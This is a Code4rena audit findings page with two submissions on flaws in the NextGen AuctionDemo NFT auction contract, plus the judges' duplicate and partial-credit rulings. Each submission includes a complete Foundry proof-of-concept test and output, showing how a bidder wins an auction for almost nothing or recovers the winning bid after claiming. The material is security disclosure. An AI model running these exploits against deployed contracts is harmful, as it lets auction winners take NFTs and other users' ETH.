Platform: Code4rena
Start Date: 30/10/2023
Pot Size: $49,250 USDC
Total HM: 14
Participants: 243
Period: 14 days
Judge: 0xsomeone
Id: 302
League: ETH
Rank: 237/243
Findings: 1
Award: $0.00
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: smiling_heretic
Also found by: 00decree, 00xSEV, 0x180db, 0x3b, 0x656c68616a, 0xAadi, 0xAleko, 0xAsen, 0xDetermination, 0xJuda, 0xMAKEOUTHILL, 0xMango, 0xMosh, 0xSwahili, 0x_6a70, 0xarno, 0xgrbr, 0xpiken, 0xsagetony, 3th, 8olidity, ABA, AerialRaider, Al-Qa-qa, Arabadzhiev, AvantGard, CaeraDenoir, ChrisTina, DanielArmstrong, DarkTower, DeFiHackLabs, Deft_TT, Delvir0, Draiakoo, Eigenvectors, Fulum, Greed, HChang26, Haipls, Hama, Inference, Jiamin, JohnnyTime, Jorgect, Juntao, Kaysoft, Kose, Kow, Krace, MaNcHaSsS, Madalad, MrPotatoMagic, Neon2835, NoamYakov, Norah, Oxsadeeq, PENGUN, REKCAH, Ruhum, Shubham, Silvermist, Soul22, SovaSlava, SpicyMeatball, Talfao, TermoHash, The_Kakers, Toshii, TuringConsulting, Udsen, VAD37, Vagner, Zac, Zach_166, ZdravkoHr, _eperezok, ak1, aldarion, alexfilippov314, alexxander, amaechieth, aslanbek, ast3ros, audityourcontracts, ayden, bdmcbri, bird-flu, blutorque, bronze_pickaxe, btk, c0pp3rscr3w3r, c3phas, cartlex_, cccz, ciphermarco, circlelooper, crunch, cryptothemex, cu5t0mpeo, darksnow, degensec, dethera, devival, dimulski, droptpackets, epistkr, evmboi32, fibonacci, gumgumzum, immeas, innertia, inzinko, jasonxiale, joesan, ke1caM, kimchi, lanrebayode77, lsaudit, mahyar, max10afternoon, merlin, mrudenko, nuthan2x, oakcobalt, openwide, orion, phoenixV110, pontifex, r0ck3tz, rotcivegaf, rvierdiiev, seeques, shenwilly, sl1, slvDev, t0x1c, tallo, tnquanghuy0512, tpiliposian, trachev, twcctop, vangrim, volodya, xAriextz, xeros, xuwinnie, y4y, yobiz, zhaojie
0 USDC - $0.00
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L124 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L104 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L57
A malicious user can block others from bidding on an NFT and win any auction for free.
function participateToAuction(uint256 _tokenid) public payable { //@audit here msg.value must be greater than returnHighestBid require(msg.value > returnHighestBid(_tokenid) && block.timestamp <= minter.getAuctionEndTime(_tokenid) && minter.getAuctionStatus(_tokenid) == true); //... }
block.timestamp == auctionEndTime
, in the same transaction we can call cancelBid
on our high bid, and claimAuction
so that our low bid is the new winner. The auction allows us to do this because the following require statements allow us to both call claimAuction
and cancelBid
when minter.getAuctionEndTime(_tokenid) <= block.timestamp
and when block.timestamp <= minter.getAuctionEndTime(_tokenid)
, which happens when block.timestamp == minter.getAuctionEndTime(_tokenid)
function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){ require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true); //... } function cancelBid(uint256 _tokenid, uint256 index) public { require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended"); //... }
forge init --no-git --force
setUp
function, replace the goerli url with one featuring your infura api keyforge test --chain-id 5 -vv --match-test test_auction
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; import {Test, console2} from "forge-std/Test.sol"; import "forge-std/console.sol"; import "../smart-contracts/NextGenCore.sol"; import "../smart-contracts/MinterContract.sol"; import "../smart-contracts/RandomizerVRF.sol"; import "../smart-contracts/RandomizerRNG.sol"; import "../smart-contracts/RandomizerNXT.sol"; import "../smart-contracts/NextGenAdmins.sol"; import "../smart-contracts/NFTdelegation.sol"; import "../smart-contracts/AuctionDemo.sol"; contract ForkTest is Test { NextGenCore core = NextGenCore(address(0xF3ff54B93844B1512C7bDafd2c41B5D228D03f98)); NextGenMinterContract minter = NextGenMinterContract(address(0x0DC656875269F58EBd1d663168aB298a338f3FCe)); NextGenAdmins admins = NextGenAdmins(address(0x1bAe1D145Dd61fBBB62C85f8A6d7B6eDe0D150f5)); NextGenRandomizerVRF randomizerVRF = NextGenRandomizerVRF(payable(address(0x1F8bA6B5a58F75646640699e438930cB0ed424EF))); NextGenRandomizerRNG randomizerRNG = NextGenRandomizerRNG(payable(address(0x3dFfAa14320Af6B68b5FaBf1719f3a242393654c))); NextGenRandomizerNXT randomizerNXT = NextGenRandomizerNXT(payable(address(0x31Ae001786963878de416Bc5EEa225B8A084B828))); DelegationManagementContract delegation = DelegationManagementContract(address(0xAD024eeD08190285Edb7100c9Caabe79d48e448B)); auctionDemo auction; address owner; address owner_admins; address artist1 = address(0xA41); address artist2 = address(0xA42); address admin = address(0x1111); address function_admin = address(0x2222); address user1 = address(0xaaaa); address user2 = address(0xbbbb); function setUp() public { //REPLACE WITH YOUR TESTNET RPC URL //"https://goerli.infura.io/v3/API_KEY" vm.selectFork(vm.createFork("https://goerli.infura.io/v3/API_KEY")); owner = address(core.owner()); owner_admins = address(admins.owner()); vm.deal(user1, 100e18); vm.deal(user2, 100e18); auction = new auctionDemo(address(minter), address(core), address(admins)); } function test_auction() public { vm.prank(owner_admins); admins.registerAdmin(admin, true); string[] memory s = new string[](1); s[0] = ""; //create and initialize collection vm.startPrank(admin); uint256 tokenID = 6; core.createCollection("coll 6", "", "", "", "", "", "", s); core.setCollectionData(tokenID, artist1, 15, 15, block.timestamp+10); core.addRandomizer(tokenID, address(randomizerNXT)); minter.setCollectionCosts(tokenID, 1.3e18, 5e18, 1e18, 100, 1, owner); minter.setCollectionPhases(tokenID, block.timestamp, block.timestamp+100, block.timestamp+101, block.timestamp+200, bytes32(0)); minter.initializeExternalBurnOrSwap(address(testNFT), tokenID, tokenID, 0, 10, user1, true); vm.stopPrank(); vm.prank(admin); minter.mintAndAuction(user2, "", 0, 6, block.timestamp+10); tokenID = 60000000000; console.log("Balance winner before: %s", payable(user1).balance); console.log("user1 is owner of NFT: %s", user1 == core.ownerOf(tokenID) ); console.log("==============================="); //approve nft vm.prank(user2); core.approve(address(auction), tokenID); vm.startPrank(user1); console.log("Making bet for 1 WEI...\n"); auction.participateToAuction{value: 1}(tokenID); console.log("Making bet for 99e18 WEI...\n"); auction.participateToAuction{value: 99e18}(tokenID); vm.stopPrank(); vm.startPrank(user2); console.log("User2 bet for 1e18 WEI reverts...\n"); vm.expectRevert(); auction.participateToAuction{value: 1e18}(tokenID); vm.stopPrank(); //warp to auction end time vm.warp(block.timestamp+10); vm.startPrank(user1); console.log("Canceling high bid so the low bid is the winner...\n"); auction.cancelBid(tokenID, 1); console.log("Claiming auction as winner...\n"); auction.claimAuction(tokenID); vm.stopPrank(); console.log("==============================="); console.log("Balance winner after: %s", payable(user1).balance); console.log("user1 is owner of NFT: %s", user1 == core.ownerOf(tokenID) ); } }
Output:
Balance winner before: 100000000000000000000 user1 is owner of NFT: false =============================== Making bet for 1 WEI... Making bet for 99e18 WEI... User2 bet for 1e18 WEI reverts... Canceling high bid so the low bid is the winner... Claiming auction as winner... =============================== Balance winner after: 99999999999999999999 user1 is owner of NFT: true
VIM, foundry
Invalid Validation
#0 - c4-pre-sort
2023-11-15T09:15:54Z
141345 marked the issue as duplicate of #962
#1 - c4-judge
2023-12-02T15:22:00Z
alex-ppg marked the issue as not a duplicate
#2 - c4-judge
2023-12-05T23:41:58Z
alex-ppg marked the issue as duplicate of #1513
#3 - c4-judge
2023-12-07T11:49:42Z
alex-ppg marked the issue as duplicate of #1323
#4 - c4-judge
2023-12-08T17:26:38Z
alex-ppg marked the issue as partial-50
#5 - c4-judge
2023-12-08T17:28:17Z
alex-ppg marked the issue as satisfactory
#6 - c4-judge
2023-12-08T18:18:42Z
alex-ppg marked the issue as partial-50
🌟 Selected for report: smiling_heretic
Also found by: 00decree, 00xSEV, 0x180db, 0x3b, 0x656c68616a, 0xAadi, 0xAleko, 0xAsen, 0xDetermination, 0xJuda, 0xMAKEOUTHILL, 0xMango, 0xMosh, 0xSwahili, 0x_6a70, 0xarno, 0xgrbr, 0xpiken, 0xsagetony, 3th, 8olidity, ABA, AerialRaider, Al-Qa-qa, Arabadzhiev, AvantGard, CaeraDenoir, ChrisTina, DanielArmstrong, DarkTower, DeFiHackLabs, Deft_TT, Delvir0, Draiakoo, Eigenvectors, Fulum, Greed, HChang26, Haipls, Hama, Inference, Jiamin, JohnnyTime, Jorgect, Juntao, Kaysoft, Kose, Kow, Krace, MaNcHaSsS, Madalad, MrPotatoMagic, Neon2835, NoamYakov, Norah, Oxsadeeq, PENGUN, REKCAH, Ruhum, Shubham, Silvermist, Soul22, SovaSlava, SpicyMeatball, Talfao, TermoHash, The_Kakers, Toshii, TuringConsulting, Udsen, VAD37, Vagner, Zac, Zach_166, ZdravkoHr, _eperezok, ak1, aldarion, alexfilippov314, alexxander, amaechieth, aslanbek, ast3ros, audityourcontracts, ayden, bdmcbri, bird-flu, blutorque, bronze_pickaxe, btk, c0pp3rscr3w3r, c3phas, cartlex_, cccz, ciphermarco, circlelooper, crunch, cryptothemex, cu5t0mpeo, darksnow, degensec, dethera, devival, dimulski, droptpackets, epistkr, evmboi32, fibonacci, gumgumzum, immeas, innertia, inzinko, jasonxiale, joesan, ke1caM, kimchi, lanrebayode77, lsaudit, mahyar, max10afternoon, merlin, mrudenko, nuthan2x, oakcobalt, openwide, orion, phoenixV110, pontifex, r0ck3tz, rotcivegaf, rvierdiiev, seeques, shenwilly, sl1, slvDev, t0x1c, tallo, tnquanghuy0512, tpiliposian, trachev, twcctop, vangrim, volodya, xAriextz, xeros, xuwinnie, y4y, yobiz, zhaojie
0 USDC - $0.00
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L124 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L104
A user can withdraw their winning bid after they have already claimed the auction and won their NFT. This means the winner can always get their auctioned NFT for free. Although the auction owner will correctly receive the funds for the auctioned NFT when claimAuction
is called, the malicious winner will be able to withdraw other users deposited ETH.
forge init --no-git --force
setUp
function, replace the goerli url with one featuring your infura api keyforge test --chain-id 5 -vv --match-test test_auctionCancel
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; import {Test, console2} from "forge-std/Test.sol"; import "forge-std/console.sol"; import "../smart-contracts/NextGenCore.sol"; import "../smart-contracts/MinterContract.sol"; import "../smart-contracts/RandomizerVRF.sol"; import "../smart-contracts/RandomizerRNG.sol"; import "../smart-contracts/RandomizerNXT.sol"; import "../smart-contracts/NextGenAdmins.sol"; import "../smart-contracts/NFTdelegation.sol"; import "../smart-contracts/AuctionDemo.sol"; contract ForkTest is Test { NextGenCore core = NextGenCore(address(0xF3ff54B93844B1512C7bDafd2c41B5D228D03f98)); NextGenMinterContract minter = NextGenMinterContract(address(0x0DC656875269F58EBd1d663168aB298a338f3FCe)); NextGenAdmins admins = NextGenAdmins(address(0x1bAe1D145Dd61fBBB62C85f8A6d7B6eDe0D150f5)); NextGenRandomizerVRF randomizerVRF = NextGenRandomizerVRF(payable(address(0x1F8bA6B5a58F75646640699e438930cB0ed424EF))); NextGenRandomizerRNG randomizerRNG = NextGenRandomizerRNG(payable(address(0x3dFfAa14320Af6B68b5FaBf1719f3a242393654c))); NextGenRandomizerNXT randomizerNXT = NextGenRandomizerNXT(payable(address(0x31Ae001786963878de416Bc5EEa225B8A084B828))); DelegationManagementContract delegation = DelegationManagementContract(address(0xAD024eeD08190285Edb7100c9Caabe79d48e448B)); auctionDemo auction; address owner; address owner_admins; address artist1 = address(0xA41); address artist2 = address(0xA42); address admin = address(0x1111); address function_admin = address(0x2222); address user1 = address(0xaaaa); address user2 = address(0xbbbb); function setUp() public { //REPLACE WITH YOUR TESTNET RPC URL //"https://goerli.infura.io/v3/API_KEY" vm.selectFork(vm.createFork("https://goerli.infura.io/v3/API_KEY")); owner = address(core.owner()); owner_admins = address(admins.owner()); vm.deal(user1, 100e18); vm.deal(user2, 100e18); auction = new auctionDemo(address(minter), address(core), address(admins)); } function test_auctionCancel() public { vm.prank(owner_admins); admins.registerAdmin(admin, true); string[] memory s = new string[](1); s[0] = ""; //create and initialize collection vm.startPrank(admin); uint256 tokenID = 6; core.createCollection("coll 6", "", "", "", "", "", "", s); core.setCollectionData(tokenID, artist1, 15, 15, block.timestamp+10); core.addRandomizer(tokenID, address(randomizerNXT)); minter.setCollectionCosts(tokenID, 1.3e18, 5e18, 1e18, 100, 1, owner); minter.setCollectionPhases(tokenID, block.timestamp, block.timestamp+100, block.timestamp+101, block.timestamp+200, bytes32(0)); minter.initializeExternalBurnOrSwap(address(testNFT), tokenID, tokenID, 0, 10, user1, true); vm.stopPrank(); vm.prank(admin); minter.mintAndAuction(user2, "", 0, 6, block.timestamp+10); tokenID = 60000000000; console.log("Balance winner before: %s", payable(user1).balance); console.log("user1 is owner of NFT: %s", user1 == core.ownerOf(tokenID) ); console.log("==============================="); //approve nft vm.prank(user2); core.approve(address(auction), tokenID); vm.startPrank(user1); console.log("Making bet for 99e18 WEI...\n"); auction.participateToAuction{value: 99e18}(tokenID); vm.stopPrank(); //warp to auction end time vm.warp(block.timestamp+10); vm.startPrank(user1); console.log("Claiming auction as winner...\n"); auction.claimAuction(tokenID); console.log("Canceling bid..."); auction.cancelBid(tokenID, 0); vm.stopPrank(); console.log("==============================="); console.log("Balance winner after: %s", payable(user1).balance); console.log("user1 is owner of NFT: %s", user1 == core.ownerOf(tokenID) ); } }
Output:
Balance winner before: 100000000000000000000 user1 is owner of NFT: false =============================== Making bet for 99e18 WEI... Claiming auction as winner... Canceling bid... =============================== Balance winner after: 100000000000000000000 user1 is owner of NFT: true
VIM, foundry
Invalidate the winning bids status when claimAuction
is called
Invalid Validation
#0 - c4-pre-sort
2023-11-15T09:13:25Z
141345 marked the issue as duplicate of #962
#1 - c4-pre-sort
2023-11-15T09:13:33Z
141345 marked the issue as not a duplicate
#2 - c4-pre-sort
2023-11-15T09:13:42Z
141345 marked the issue as duplicate of #1172
#3 - c4-judge
2023-12-06T21:28:03Z
alex-ppg marked the issue as duplicate of #1323
#4 - c4-judge
2023-12-08T18:18:35Z
alex-ppg marked the issue as partial-50